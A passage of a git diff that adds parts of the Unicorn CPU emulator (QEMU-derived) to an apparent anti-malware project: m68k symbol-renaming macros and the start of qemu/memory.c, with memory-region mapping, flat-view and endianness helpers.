tb_reset_jump tb_reset_jump_m68k +#define tb_set_jmp_target tb_set_jmp_target_m68k +#define tcg_accel_class_init tcg_accel_class_init_m68k +#define tcg_accel_type tcg_accel_type_m68k +#define tcg_add_param_i32 tcg_add_param_i32_m68k +#define tcg_add_param_i64 tcg_add_param_i64_m68k +#define tcg_add_target_add_op_defs tcg_add_target_add_op_defs_m68k +#define tcg_allowed tcg_allowed_m68k +#define tcg_canonicalize_memop tcg_canonicalize_memop_m68k +#define tcg_commit tcg_commit_m68k +#define tcg_cond_to_jcc tcg_cond_to_jcc_m68k +#define tcg_constant_folding tcg_constant_folding_m68k +#define tcg_const_i32 tcg_const_i32_m68k +#define tcg_const_i64 tcg_const_i64_m68k +#define tcg_const_local_i32 tcg_const_local_i32_m68k +#define tcg_const_local_i64 tcg_const_local_i64_m68k +#define tcg_context_init tcg_context_init_m68k +#define tcg_cpu_address_space_init tcg_cpu_address_space_init_m68k +#define tcg_cpu_exec tcg_cpu_exec_m68k +#define tcg_current_code_size tcg_current_code_size_m68k +#define tcg_dump_info tcg_dump_info_m68k +#define tcg_dump_ops tcg_dump_ops_m68k +#define tcg_exec_all tcg_exec_all_m68k +#define tcg_find_helper tcg_find_helper_m68k +#define tcg_func_start tcg_func_start_m68k +#define tcg_gen_abs_i32 tcg_gen_abs_i32_m68k +#define tcg_gen_add2_i32 tcg_gen_add2_i32_m68k +#define tcg_gen_add_i32 tcg_gen_add_i32_m68k +#define tcg_gen_add_i64 tcg_gen_add_i64_m68k +#define tcg_gen_addi_i32 tcg_gen_addi_i32_m68k +#define tcg_gen_addi_i64 tcg_gen_addi_i64_m68k +#define tcg_gen_andc_i32 tcg_gen_andc_i32_m68k +#define tcg_gen_and_i32 tcg_gen_and_i32_m68k +#define tcg_gen_and_i64 tcg_gen_and_i64_m68k +#define tcg_gen_andi_i32 tcg_gen_andi_i32_m68k +#define tcg_gen_andi_i64 tcg_gen_andi_i64_m68k +#define tcg_gen_br tcg_gen_br_m68k +#define tcg_gen_brcond_i32 tcg_gen_brcond_i32_m68k +#define tcg_gen_brcond_i64 tcg_gen_brcond_i64_m68k +#define tcg_gen_brcondi_i32 tcg_gen_brcondi_i32_m68k +#define tcg_gen_bswap16_i32 tcg_gen_bswap16_i32_m68k +#define tcg_gen_bswap32_i32 tcg_gen_bswap32_i32_m68k +#define tcg_gen_callN tcg_gen_callN_m68k +#define tcg_gen_code tcg_gen_code_m68k +#define tcg_gen_code_common tcg_gen_code_common_m68k +#define tcg_gen_code_search_pc tcg_gen_code_search_pc_m68k +#define tcg_gen_concat_i32_i64 tcg_gen_concat_i32_i64_m68k +#define tcg_gen_debug_insn_start tcg_gen_debug_insn_start_m68k +#define tcg_gen_deposit_i32 tcg_gen_deposit_i32_m68k +#define tcg_gen_exit_tb tcg_gen_exit_tb_m68k +#define tcg_gen_ext16s_i32 tcg_gen_ext16s_i32_m68k +#define tcg_gen_ext16u_i32 tcg_gen_ext16u_i32_m68k +#define tcg_gen_ext32s_i64 tcg_gen_ext32s_i64_m68k +#define tcg_gen_ext32u_i64 tcg_gen_ext32u_i64_m68k +#define tcg_gen_ext8s_i32 tcg_gen_ext8s_i32_m68k +#define tcg_gen_ext8u_i32 tcg_gen_ext8u_i32_m68k +#define tcg_gen_ext_i32_i64 tcg_gen_ext_i32_i64_m68k +#define tcg_gen_extu_i32_i64 tcg_gen_extu_i32_i64_m68k +#define tcg_gen_goto_tb tcg_gen_goto_tb_m68k +#define tcg_gen_ld_i32 tcg_gen_ld_i32_m68k +#define tcg_gen_ld_i64 tcg_gen_ld_i64_m68k +#define tcg_gen_ldst_op_i32 tcg_gen_ldst_op_i32_m68k +#define tcg_gen_ldst_op_i64 tcg_gen_ldst_op_i64_m68k +#define tcg_gen_movcond_i32 tcg_gen_movcond_i32_m68k +#define tcg_gen_movcond_i64 tcg_gen_movcond_i64_m68k +#define tcg_gen_mov_i32 tcg_gen_mov_i32_m68k +#define tcg_gen_mov_i64 tcg_gen_mov_i64_m68k +#define tcg_gen_movi_i32 tcg_gen_movi_i32_m68k +#define tcg_gen_movi_i64 tcg_gen_movi_i64_m68k +#define tcg_gen_mul_i32 tcg_gen_mul_i32_m68k +#define tcg_gen_muls2_i32 tcg_gen_muls2_i32_m68k +#define tcg_gen_mulu2_i32 tcg_gen_mulu2_i32_m68k +#define tcg_gen_neg_i32 tcg_gen_neg_i32_m68k +#define tcg_gen_neg_i64 tcg_gen_neg_i64_m68k +#define tcg_gen_not_i32 tcg_gen_not_i32_m68k +#define tcg_gen_op0 tcg_gen_op0_m68k +#define tcg_gen_op1i tcg_gen_op1i_m68k +#define tcg_gen_op2_i32 tcg_gen_op2_i32_m68k +#define tcg_gen_op2_i64 tcg_gen_op2_i64_m68k +#define tcg_gen_op2i_i32 tcg_gen_op2i_i32_m68k +#define tcg_gen_op2i_i64 tcg_gen_op2i_i64_m68k +#define tcg_gen_op3_i32 tcg_gen_op3_i32_m68k +#define tcg_gen_op3_i64 tcg_gen_op3_i64_m68k +#define tcg_gen_op4_i32 tcg_gen_op4_i32_m68k +#define tcg_gen_op4i_i32 tcg_gen_op4i_i32_m68k +#define tcg_gen_op4ii_i32 tcg_gen_op4ii_i32_m68k +#define tcg_gen_op4ii_i64 tcg_gen_op4ii_i64_m68k +#define tcg_gen_op5ii_i32 tcg_gen_op5ii_i32_m68k +#define tcg_gen_op6_i32 tcg_gen_op6_i32_m68k +#define tcg_gen_op6i_i32 tcg_gen_op6i_i32_m68k +#define tcg_gen_op6i_i64 tcg_gen_op6i_i64_m68k +#define tcg_gen_orc_i32 tcg_gen_orc_i32_m68k +#define tcg_gen_or_i32 tcg_gen_or_i32_m68k +#define tcg_gen_or_i64 tcg_gen_or_i64_m68k +#define tcg_gen_ori_i32 tcg_gen_ori_i32_m68k +#define tcg_gen_qemu_ld_i32 tcg_gen_qemu_ld_i32_m68k +#define tcg_gen_qemu_ld_i64 tcg_gen_qemu_ld_i64_m68k +#define tcg_gen_qemu_st_i32 tcg_gen_qemu_st_i32_m68k +#define tcg_gen_qemu_st_i64 tcg_gen_qemu_st_i64_m68k +#define tcg_gen_rotl_i32 tcg_gen_rotl_i32_m68k +#define tcg_gen_rotli_i32 tcg_gen_rotli_i32_m68k +#define tcg_gen_rotr_i32 tcg_gen_rotr_i32_m68k +#define tcg_gen_rotri_i32 tcg_gen_rotri_i32_m68k +#define tcg_gen_sar_i32 tcg_gen_sar_i32_m68k +#define tcg_gen_sari_i32 tcg_gen_sari_i32_m68k +#define tcg_gen_setcond_i32 tcg_gen_setcond_i32_m68k +#define tcg_gen_shl_i32 tcg_gen_shl_i32_m68k +#define tcg_gen_shl_i64 tcg_gen_shl_i64_m68k +#define tcg_gen_shli_i32 tcg_gen_shli_i32_m68k +#define tcg_gen_shli_i64 tcg_gen_shli_i64_m68k +#define tcg_gen_shr_i32 tcg_gen_shr_i32_m68k +#define tcg_gen_shifti_i64 tcg_gen_shifti_i64_m68k +#define tcg_gen_shr_i64 tcg_gen_shr_i64_m68k +#define tcg_gen_shri_i32 tcg_gen_shri_i32_m68k +#define tcg_gen_shri_i64 tcg_gen_shri_i64_m68k +#define tcg_gen_st_i32 tcg_gen_st_i32_m68k +#define tcg_gen_st_i64 tcg_gen_st_i64_m68k +#define tcg_gen_sub_i32 tcg_gen_sub_i32_m68k +#define tcg_gen_sub_i64 tcg_gen_sub_i64_m68k +#define tcg_gen_subi_i32 tcg_gen_subi_i32_m68k +#define tcg_gen_trunc_i64_i32 tcg_gen_trunc_i64_i32_m68k +#define tcg_gen_trunc_shr_i64_i32 tcg_gen_trunc_shr_i64_i32_m68k +#define tcg_gen_xor_i32 tcg_gen_xor_i32_m68k +#define tcg_gen_xor_i64 tcg_gen_xor_i64_m68k +#define tcg_gen_xori_i32 tcg_gen_xori_i32_m68k +#define tcg_get_arg_str_i32 tcg_get_arg_str_i32_m68k +#define tcg_get_arg_str_i64 tcg_get_arg_str_i64_m68k +#define tcg_get_arg_str_idx tcg_get_arg_str_idx_m68k +#define tcg_global_mem_new_i32 tcg_global_mem_new_i32_m68k +#define tcg_global_mem_new_i64 tcg_global_mem_new_i64_m68k +#define tcg_global_mem_new_internal tcg_global_mem_new_internal_m68k +#define tcg_global_reg_new_i32 tcg_global_reg_new_i32_m68k +#define tcg_global_reg_new_i64 tcg_global_reg_new_i64_m68k +#define tcg_global_reg_new_internal tcg_global_reg_new_internal_m68k +#define tcg_handle_interrupt tcg_handle_interrupt_m68k +#define tcg_init tcg_init_m68k +#define tcg_invert_cond tcg_invert_cond_m68k +#define tcg_la_bb_end tcg_la_bb_end_m68k +#define tcg_la_br_end tcg_la_br_end_m68k +#define tcg_la_func_end tcg_la_func_end_m68k +#define tcg_liveness_analysis tcg_liveness_analysis_m68k +#define tcg_malloc tcg_malloc_m68k +#define tcg_malloc_internal tcg_malloc_internal_m68k +#define tcg_op_defs_org tcg_op_defs_org_m68k +#define tcg_opt_gen_mov tcg_opt_gen_mov_m68k +#define tcg_opt_gen_movi tcg_opt_gen_movi_m68k +#define tcg_optimize tcg_optimize_m68k +#define tcg_out16 tcg_out16_m68k +#define tcg_out32 tcg_out32_m68k +#define tcg_out64 tcg_out64_m68k +#define tcg_out8 tcg_out8_m68k +#define tcg_out_addi tcg_out_addi_m68k +#define tcg_out_branch tcg_out_branch_m68k +#define tcg_out_brcond32 tcg_out_brcond32_m68k +#define tcg_out_brcond64 tcg_out_brcond64_m68k +#define tcg_out_bswap32 tcg_out_bswap32_m68k +#define tcg_out_bswap64 tcg_out_bswap64_m68k +#define tcg_out_call tcg_out_call_m68k +#define tcg_out_cmp tcg_out_cmp_m68k +#define tcg_out_ext16s tcg_out_ext16s_m68k +#define tcg_out_ext16u tcg_out_ext16u_m68k +#define tcg_out_ext32s tcg_out_ext32s_m68k +#define tcg_out_ext32u tcg_out_ext32u_m68k +#define tcg_out_ext8s tcg_out_ext8s_m68k +#define tcg_out_ext8u tcg_out_ext8u_m68k +#define tcg_out_jmp tcg_out_jmp_m68k +#define tcg_out_jxx tcg_out_jxx_m68k +#define tcg_out_label tcg_out_label_m68k +#define tcg_out_ld tcg_out_ld_m68k +#define tcg_out_modrm tcg_out_modrm_m68k +#define tcg_out_modrm_offset tcg_out_modrm_offset_m68k +#define tcg_out_modrm_sib_offset tcg_out_modrm_sib_offset_m68k +#define tcg_out_mov tcg_out_mov_m68k +#define tcg_out_movcond32 tcg_out_movcond32_m68k +#define tcg_out_movcond64 tcg_out_movcond64_m68k +#define tcg_out_movi tcg_out_movi_m68k +#define tcg_out_op tcg_out_op_m68k +#define tcg_out_pop tcg_out_pop_m68k +#define tcg_out_push tcg_out_push_m68k +#define tcg_out_qemu_ld tcg_out_qemu_ld_m68k +#define tcg_out_qemu_ld_direct tcg_out_qemu_ld_direct_m68k +#define tcg_out_qemu_ld_slow_path tcg_out_qemu_ld_slow_path_m68k +#define tcg_out_qemu_st tcg_out_qemu_st_m68k +#define tcg_out_qemu_st_direct tcg_out_qemu_st_direct_m68k +#define tcg_out_qemu_st_slow_path tcg_out_qemu_st_slow_path_m68k +#define tcg_out_reloc tcg_out_reloc_m68k +#define tcg_out_rolw_8 tcg_out_rolw_8_m68k +#define tcg_out_setcond32 tcg_out_setcond32_m68k +#define tcg_out_setcond64 tcg_out_setcond64_m68k +#define tcg_out_shifti tcg_out_shifti_m68k +#define tcg_out_st tcg_out_st_m68k +#define tcg_out_tb_finalize tcg_out_tb_finalize_m68k +#define tcg_out_tb_init tcg_out_tb_init_m68k +#define tcg_out_tlb_load tcg_out_tlb_load_m68k +#define tcg_out_vex_modrm tcg_out_vex_modrm_m68k +#define tcg_patch32 tcg_patch32_m68k +#define tcg_patch8 tcg_patch8_m68k +#define tcg_pcrel_diff tcg_pcrel_diff_m68k +#define tcg_pool_reset tcg_pool_reset_m68k +#define tcg_prologue_init tcg_prologue_init_m68k +#define tcg_ptr_byte_diff tcg_ptr_byte_diff_m68k +#define tcg_reg_alloc tcg_reg_alloc_m68k +#define tcg_reg_alloc_bb_end tcg_reg_alloc_bb_end_m68k +#define tcg_reg_alloc_call tcg_reg_alloc_call_m68k +#define tcg_reg_alloc_mov tcg_reg_alloc_mov_m68k +#define tcg_reg_alloc_movi tcg_reg_alloc_movi_m68k +#define tcg_reg_alloc_op tcg_reg_alloc_op_m68k +#define tcg_reg_alloc_start tcg_reg_alloc_start_m68k +#define tcg_reg_free tcg_reg_free_m68k +#define tcg_reg_sync tcg_reg_sync_m68k +#define tcg_set_frame tcg_set_frame_m68k +#define tcg_set_nop tcg_set_nop_m68k +#define tcg_swap_cond tcg_swap_cond_m68k +#define tcg_target_callee_save_regs tcg_target_callee_save_regs_m68k +#define tcg_target_call_iarg_regs tcg_target_call_iarg_regs_m68k +#define tcg_target_call_oarg_regs tcg_target_call_oarg_regs_m68k +#define tcg_target_const_match tcg_target_const_match_m68k +#define tcg_target_init tcg_target_init_m68k +#define tcg_target_qemu_prologue tcg_target_qemu_prologue_m68k +#define tcg_target_reg_alloc_order tcg_target_reg_alloc_order_m68k +#define tcg_temp_alloc tcg_temp_alloc_m68k +#define tcg_temp_free_i32 tcg_temp_free_i32_m68k +#define tcg_temp_free_i64 tcg_temp_free_i64_m68k +#define tcg_temp_free_internal tcg_temp_free_internal_m68k +#define tcg_temp_local_new_i32 tcg_temp_local_new_i32_m68k +#define tcg_temp_local_new_i64 tcg_temp_local_new_i64_m68k +#define tcg_temp_new_i32 tcg_temp_new_i32_m68k +#define tcg_temp_new_i64 tcg_temp_new_i64_m68k +#define tcg_temp_new_internal tcg_temp_new_internal_m68k +#define tcg_temp_new_internal_i32 tcg_temp_new_internal_i32_m68k +#define tcg_temp_new_internal_i64 tcg_temp_new_internal_i64_m68k +#define tdb_hash tdb_hash_m68k +#define teecr_write teecr_write_m68k +#define teehbr_access teehbr_access_m68k +#define temp_allocate_frame temp_allocate_frame_m68k +#define temp_dead temp_dead_m68k +#define temps_are_copies temps_are_copies_m68k +#define temp_save temp_save_m68k +#define temp_sync temp_sync_m68k +#define tgen_arithi tgen_arithi_m68k +#define tgen_arithr tgen_arithr_m68k +#define thumb2_logic_op thumb2_logic_op_m68k +#define ti925t_initfn ti925t_initfn_m68k +#define tlb_add_large_page tlb_add_large_page_m68k +#define tlb_flush_entry tlb_flush_entry_m68k +#define tlbi_aa64_asid_is_write tlbi_aa64_asid_is_write_m68k +#define tlbi_aa64_asid_write tlbi_aa64_asid_write_m68k +#define tlbi_aa64_vaa_is_write tlbi_aa64_vaa_is_write_m68k +#define tlbi_aa64_vaa_write tlbi_aa64_vaa_write_m68k +#define tlbi_aa64_va_is_write tlbi_aa64_va_is_write_m68k +#define tlbi_aa64_va_write tlbi_aa64_va_write_m68k +#define tlbiall_is_write tlbiall_is_write_m68k +#define tlbiall_write tlbiall_write_m68k +#define tlbiasid_is_write tlbiasid_is_write_m68k +#define tlbiasid_write tlbiasid_write_m68k +#define tlbimvaa_is_write tlbimvaa_is_write_m68k +#define tlbimvaa_write tlbimvaa_write_m68k +#define tlbimva_is_write tlbimva_is_write_m68k +#define tlbimva_write tlbimva_write_m68k +#define tlb_is_dirty_ram tlb_is_dirty_ram_m68k +#define tlb_protect_code tlb_protect_code_m68k +#define tlb_reset_dirty_range tlb_reset_dirty_range_m68k +#define tlb_reset_dirty_range_all tlb_reset_dirty_range_all_m68k +#define tlb_set_dirty tlb_set_dirty_m68k +#define tlb_set_dirty1 tlb_set_dirty1_m68k +#define tlb_unprotect_code_phys tlb_unprotect_code_phys_m68k +#define tlb_vaddr_to_host tlb_vaddr_to_host_m68k +#define token_get_type token_get_type_m68k +#define token_get_value token_get_value_m68k +#define token_is_escape token_is_escape_m68k +#define token_is_keyword token_is_keyword_m68k +#define token_is_operator token_is_operator_m68k +#define tokens_append_from_iter tokens_append_from_iter_m68k +#define to_qiv to_qiv_m68k +#define to_qov to_qov_m68k +#define tosa_init tosa_init_m68k +#define tosa_machine_init tosa_machine_init_m68k +#define tswap32 tswap32_m68k +#define tswap64 tswap64_m68k +#define type_class_get_size type_class_get_size_m68k +#define type_get_by_name type_get_by_name_m68k +#define type_get_parent type_get_parent_m68k +#define type_has_parent type_has_parent_m68k +#define type_initialize type_initialize_m68k +#define type_initialize_interface type_initialize_interface_m68k +#define type_is_ancestor type_is_ancestor_m68k +#define type_new type_new_m68k +#define type_object_get_size type_object_get_size_m68k +#define type_register_internal type_register_internal_m68k +#define type_table_add type_table_add_m68k +#define type_table_get type_table_get_m68k +#define type_table_lookup type_table_lookup_m68k +#define uint16_to_float32 uint16_to_float32_m68k +#define uint16_to_float64 uint16_to_float64_m68k +#define uint32_to_float32 uint32_to_float32_m68k +#define uint32_to_float64 uint32_to_float64_m68k +#define uint64_to_float128 uint64_to_float128_m68k +#define uint64_to_float32 uint64_to_float32_m68k +#define uint64_to_float64 uint64_to_float64_m68k +#define unassigned_io_ops unassigned_io_ops_m68k +#define unassigned_io_read unassigned_io_read_m68k +#define unassigned_io_write unassigned_io_write_m68k +#define unassigned_mem_accepts unassigned_mem_accepts_m68k +#define unassigned_mem_ops unassigned_mem_ops_m68k +#define unassigned_mem_read unassigned_mem_read_m68k +#define unassigned_mem_write unassigned_mem_write_m68k +#define update_spsel update_spsel_m68k +#define v6_cp_reginfo v6_cp_reginfo_m68k +#define v6k_cp_reginfo v6k_cp_reginfo_m68k +#define v7_cp_reginfo v7_cp_reginfo_m68k +#define v7mp_cp_reginfo v7mp_cp_reginfo_m68k +#define v7m_pop v7m_pop_m68k +#define v7m_push v7m_push_m68k +#define v8_cp_reginfo v8_cp_reginfo_m68k +#define v8_el2_cp_reginfo v8_el2_cp_reginfo_m68k +#define v8_el3_cp_reginfo v8_el3_cp_reginfo_m68k +#define v8_el3_no_el2_cp_reginfo v8_el3_no_el2_cp_reginfo_m68k +#define vapa_cp_reginfo vapa_cp_reginfo_m68k +#define vbar_write vbar_write_m68k +#define vfp_exceptbits_from_host vfp_exceptbits_from_host_m68k +#define vfp_exceptbits_to_host vfp_exceptbits_to_host_m68k +#define vfp_get_fpcr vfp_get_fpcr_m68k +#define vfp_get_fpscr vfp_get_fpscr_m68k +#define vfp_get_fpsr vfp_get_fpsr_m68k +#define vfp_reg_offset vfp_reg_offset_m68k +#define vfp_set_fpcr vfp_set_fpcr_m68k +#define vfp_set_fpscr vfp_set_fpscr_m68k +#define vfp_set_fpsr vfp_set_fpsr_m68k +#define visit_end_implicit_struct visit_end_implicit_struct_m68k +#define visit_end_list visit_end_list_m68k +#define visit_end_struct visit_end_struct_m68k +#define visit_end_union visit_end_union_m68k +#define visit_get_next_type visit_get_next_type_m68k +#define visit_next_list visit_next_list_m68k +#define visit_optional visit_optional_m68k +#define visit_start_implicit_struct visit_start_implicit_struct_m68k +#define visit_start_list visit_start_list_m68k +#define visit_start_struct visit_start_struct_m68k +#define visit_start_union visit_start_union_m68k +#define vmsa_cp_reginfo vmsa_cp_reginfo_m68k +#define vmsa_tcr_el1_write vmsa_tcr_el1_write_m68k +#define vmsa_ttbcr_raw_write vmsa_ttbcr_raw_write_m68k +#define vmsa_ttbcr_reset vmsa_ttbcr_reset_m68k +#define vmsa_ttbcr_write vmsa_ttbcr_write_m68k +#define vmsa_ttbr_write vmsa_ttbr_write_m68k +#define write_cpustate_to_list write_cpustate_to_list_m68k +#define write_list_to_cpustate write_list_to_cpustate_m68k +#define write_raw_cp_reg write_raw_cp_reg_m68k +#define X86CPURegister32_lookup X86CPURegister32_lookup_m68k +#define x86_op_defs x86_op_defs_m68k +#define xpsr_read xpsr_read_m68k +#define xpsr_write xpsr_write_m68k +#define xscale_cpar_write xscale_cpar_write_m68k +#define xscale_cp_reginfo xscale_cp_reginfo_m68k +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/memory.c b/ai_anti_malware/unicorn/unicorn-master/qemu/memory.c new file mode 100644 index 0000000..50ebefd --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/memory.c @@ -0,0 +1,1616 @@ +/* + * Physical memory management + * + * Copyright 2011 Red Hat, Inc. and/or its affiliates + * + * Authors: + * Avi Kivity + * + * This work is licensed under the terms of the GNU GPL, version 2. See + * the COPYING file in the top-level directory. + * + * Contributions after 2012-01-13 are licensed under the terms of the + * GNU GPL, version 2 or (at your option) any later version. + */ + +/* Modified for Unicorn Engine by Nguyen Anh Quynh, 2015 */ + +#include "exec/memory.h" +#include "exec/address-spaces.h" +#include "exec/ioport.h" +#include "qapi/visitor.h" +#include "qemu/bitops.h" +#include "qom/object.h" +#include + +#include "exec/memory-internal.h" +#include "exec/ram_addr.h" +#include "sysemu/sysemu.h" + +//#define DEBUG_UNASSIGNED + + +// Unicorn engine +MemoryRegion *memory_map(struct uc_struct *uc, hwaddr begin, size_t size, uint32_t perms) +{ + MemoryRegion *ram = g_new(MemoryRegion, 1); + + memory_region_init_ram(uc, ram, NULL, "pc.ram", size, perms, &error_abort); + if (ram->ram_addr == -1) + // out of memory + return NULL; + + memory_region_add_subregion(get_system_memory(uc), begin, ram); + + if (uc->current_cpu) + tlb_flush(uc->current_cpu, 1); + + return ram; +} + +MemoryRegion *memory_map_ptr(struct uc_struct *uc, hwaddr begin, size_t size, uint32_t perms, void *ptr) +{ + MemoryRegion *ram = g_new(MemoryRegion, 1); + + memory_region_init_ram_ptr(uc, ram, NULL, "pc.ram", size, ptr); + ram->perms = perms; + if (ram->ram_addr == -1) + // out of memory + return NULL; + + memory_region_add_subregion(get_system_memory(uc), begin, ram); + + if (uc->current_cpu) + tlb_flush(uc->current_cpu, 1); + + return ram; +} + +static void memory_region_update_container_subregions(MemoryRegion *subregion); + +void memory_unmap(struct uc_struct *uc, MemoryRegion *mr) +{ + int i; + target_ulong addr; + Object *obj; + + // Make sure all pages associated with the MemoryRegion are flushed + // Only need to do this if we are in a running state + if (uc->current_cpu) { + for (addr = mr->addr; addr < mr->end; addr += uc->target_page_size) { + tlb_flush_page(uc->current_cpu, addr); + } + } + memory_region_del_subregion(get_system_memory(uc), mr); + + for (i = 0; i < uc->mapped_block_count; i++) { + if (uc->mapped_blocks[i] == mr) { + uc->mapped_block_count--; + //shift remainder of array down over deleted pointer + memmove(&uc->mapped_blocks[i], &uc->mapped_blocks[i + 1], sizeof(MemoryRegion*) * (uc->mapped_block_count - i)); + mr->destructor(mr); + obj = OBJECT(mr); + obj->ref = 1; + obj->free = g_free; + g_free((char *)mr->name); + mr->name = NULL; + object_property_del_child(mr->uc, qdev_get_machine(mr->uc), obj, &error_abort); + break; + } + } +} + +int memory_free(struct uc_struct *uc) +{ + MemoryRegion *mr; + Object *obj; + int i; + + for (i = 0; i < uc->mapped_block_count; i++) { + mr = uc->mapped_blocks[i]; + mr->enabled = false; + memory_region_del_subregion(get_system_memory(uc), mr); + mr->destructor(mr); + obj = OBJECT(mr); + obj->ref = 1; + obj->free = g_free; + object_property_del_child(mr->uc, qdev_get_machine(mr->uc), obj, &error_abort); + } + + return 0; +} + +static void memory_init(struct uc_struct *uc) +{ +} + +typedef struct AddrRange AddrRange; + +/* + * Note that signed integers are needed for negative offsetting in aliases + * (large MemoryRegion::alias_offset). + */ +struct AddrRange { + Int128 start; + Int128 size; +}; + +static AddrRange addrrange_make(Int128 start, Int128 size) +{ + AddrRange ar; + ar.start = start; + ar.size = size; + return ar; +} + +static bool addrrange_equal(AddrRange r1, AddrRange r2) +{ + return int128_eq(r1.start, r2.start) && int128_eq(r1.size, r2.size); +} + +static Int128 addrrange_end(AddrRange r) +{ + return int128_add(r.start, r.size); +} + +static bool addrrange_contains(AddrRange range, Int128 addr) +{ + return int128_ge(addr, range.start) + && int128_lt(addr, addrrange_end(range)); +} + +static bool addrrange_intersects(AddrRange r1, AddrRange r2) +{ + return addrrange_contains(r1, r2.start) + || addrrange_contains(r2, r1.start); +} + +static AddrRange addrrange_intersection(AddrRange r1, AddrRange r2) +{ + Int128 start = int128_max(r1.start, r2.start); + Int128 end = int128_min(addrrange_end(r1), addrrange_end(r2)); + return addrrange_make(start, int128_sub(end, start)); +} + +enum ListenerDirection { Forward, Reverse }; + +static bool memory_listener_match(MemoryListener *listener, + MemoryRegionSection *section) +{ + return !listener->address_space_filter + || listener->address_space_filter == section->address_space; +} + +#define MEMORY_LISTENER_CALL_GLOBAL(_callback, _direction, ...) \ + do { \ + MemoryListener *_listener; \ + \ + switch (_direction) { \ + case Forward: \ + QTAILQ_FOREACH(_listener, &uc->memory_listeners, link) { \ + if (_listener->_callback) { \ + _listener->_callback(_listener, ##__VA_ARGS__); \ + } \ + } \ + break; \ + case Reverse: \ + QTAILQ_FOREACH_REVERSE(_listener, &uc->memory_listeners, \ + memory_listeners, link) { \ + if (_listener->_callback) { \ + _listener->_callback(_listener, ##__VA_ARGS__); \ + } \ + } \ + break; \ + default: \ + abort(); \ + } \ + } while (0) + +#define MEMORY_LISTENER_CALL(_callback, _direction, _section, ...) \ + do { \ + MemoryListener *_listener; \ + \ + switch (_direction) { \ + case Forward: \ + QTAILQ_FOREACH(_listener, &uc->memory_listeners, link) { \ + if (_listener->_callback \ + && memory_listener_match(_listener, _section)) { \ + _listener->_callback(_listener, _section, ##__VA_ARGS__); \ + } \ + } \ + break; \ + case Reverse: \ + QTAILQ_FOREACH_REVERSE(_listener, &uc->memory_listeners, \ + memory_listeners, link) { \ + if (_listener->_callback \ + && memory_listener_match(_listener, _section)) { \ + _listener->_callback(_listener, _section, ##__VA_ARGS__); \ + } \ + } \ + break; \ + default: \ + abort(); \ + } \ + } while (0) + +/* No need to ref/unref .mr, the FlatRange keeps it alive. */ +#define MEMORY_LISTENER_UPDATE_REGION(fr, as, dir, callback) \ + do { MemoryRegionSection _mrs = MemoryRegionSection_make((fr)->mr, as, (fr)->offset_in_region, \ + (fr)->addr.size, int128_get64((fr)->addr.start), (fr)->readonly); \ + MEMORY_LISTENER_CALL(callback, dir, &_mrs); } while(0); + +/* + MEMORY_LISTENER_CALL(callback, dir, (&(MemoryRegionSection) { \ + .mr = (fr)->mr, \ + .address_space = (as), \ + .offset_within_region = (fr)->offset_in_region, \ + .size = (fr)->addr.size, \ + .offset_within_address_space = int128_get64((fr)->addr.start), \ + .readonly = (fr)->readonly, \ + })) +*/ + +typedef struct FlatRange FlatRange; +typedef struct FlatView FlatView; + +/* Range of memory in the global map. Addresses are absolute. */ +struct FlatRange { + MemoryRegion *mr; + hwaddr offset_in_region; + AddrRange addr; + uint8_t dirty_log_mask; + bool romd_mode; + bool readonly; +}; + +/* Flattened global view of current active memory hierarchy. Kept in sorted + * order. + */ +struct FlatView { + unsigned ref; + FlatRange *ranges; + unsigned nr; + unsigned nr_allocated; +}; + +typedef struct AddressSpaceOps AddressSpaceOps; + +#define FOR_EACH_FLAT_RANGE(var, view) \ + for (var = (view)->ranges; var < (view)->ranges + (view)->nr; ++var) + +static bool flatrange_equal(FlatRange *a, FlatRange *b) +{ + return a->mr == b->mr + && addrrange_equal(a->addr, b->addr) + && a->offset_in_region == b->offset_in_region + && a->romd_mode == b->romd_mode + && a->readonly == b->readonly; +} + +static void flatview_init(FlatView *view) +{ + view->ref = 1; + view->ranges = NULL; + view->nr = 0; + view->nr_allocated = 0; +} + +/* Insert a range into a given position. Caller is responsible for maintaining + * sorting order. + */ +static void flatview_insert(FlatView *view, unsigned pos, FlatRange *range) +{ + if (view->nr == view->nr_allocated) { + view->nr_allocated = MAX(2 * view->nr, 10); + view->ranges = g_realloc(view->ranges, + view->nr_allocated * sizeof(*view->ranges)); + } + memmove(view->ranges + pos + 1, view->ranges + pos, + (view->nr - pos) * sizeof(FlatRange)); + view->ranges[pos] = *range; + memory_region_ref(range->mr); + ++view->nr; +} + +static void flatview_destroy(FlatView *view) +{ + int i; + + for (i = 0; i < view->nr; i++) { + memory_region_unref(view->ranges[i].mr); + } + g_free(view->ranges); + g_free(view); +} + +static void flatview_ref(FlatView *view) +{ + atomic_inc(&view->ref); +} + +static void flatview_unref(FlatView *view) +{ + if (atomic_fetch_dec(&view->ref) == 1) { + flatview_destroy(view); + } +} + +static bool can_merge(FlatRange *r1, FlatRange *r2) +{ + return int128_eq(addrrange_end(r1->addr), r2->addr.start) + && r1->mr == r2->mr + && int128_eq(int128_add(int128_make64(r1->offset_in_region), + r1->addr.size), + int128_make64(r2->offset_in_region)) + && r1->dirty_log_mask == r2->dirty_log_mask + && r1->romd_mode == r2->romd_mode + && r1->readonly == r2->readonly; +} + +/* Attempt to simplify a view by merging adjacent ranges */ +static void flatview_simplify(FlatView *view) +{ + unsigned i, j; + + i = 0; + while (i < view->nr) { + j = i + 1; + while (j < view->nr + && can_merge(&view->ranges[j-1], &view->ranges[j])) { + int128_addto(&view->ranges[i].addr.size, view->ranges[j].addr.size); + ++j; + } + ++i; + memmove(&view->ranges[i], &view->ranges[j], + (view->nr - j) * sizeof(view->ranges[j])); + view->nr -= j - i; + } +} + +static bool memory_region_big_endian(MemoryRegion *mr) +{ +#ifdef TARGET_WORDS_BIGENDIAN + return mr->ops->endianness != DEVICE_LITTLE_ENDIAN; +#else + return mr->ops->endianness == DEVICE_BIG_ENDIAN; +#endif +} + +static bool memory_region_wrong_endianness(MemoryRegion *mr) +{ +#ifdef TARGET_WORDS_BIGENDIAN + return mr->ops->endianness == DEVICE_LITTLE_ENDIAN; +#else + return mr->ops->endianness == DEVICE_BIG_ENDIAN; +#endif +} + +static void adjust_endianness(MemoryRegion *mr, uint64_t *data, unsigned size) +{ + if (memory_region_wrong_endianness(mr)) { + switch (size) { + case 1: + break; + case 2: + *data = bswap16(*data); + break; + case 4: + *data = bswap32(*data); + break; + case 8: + *data = bswap64(*data); + break; + default: + abort(); + } + } +} + +static void memory_region_oldmmio_read_accessor(MemoryRegion *mr, + hwaddr addr, + 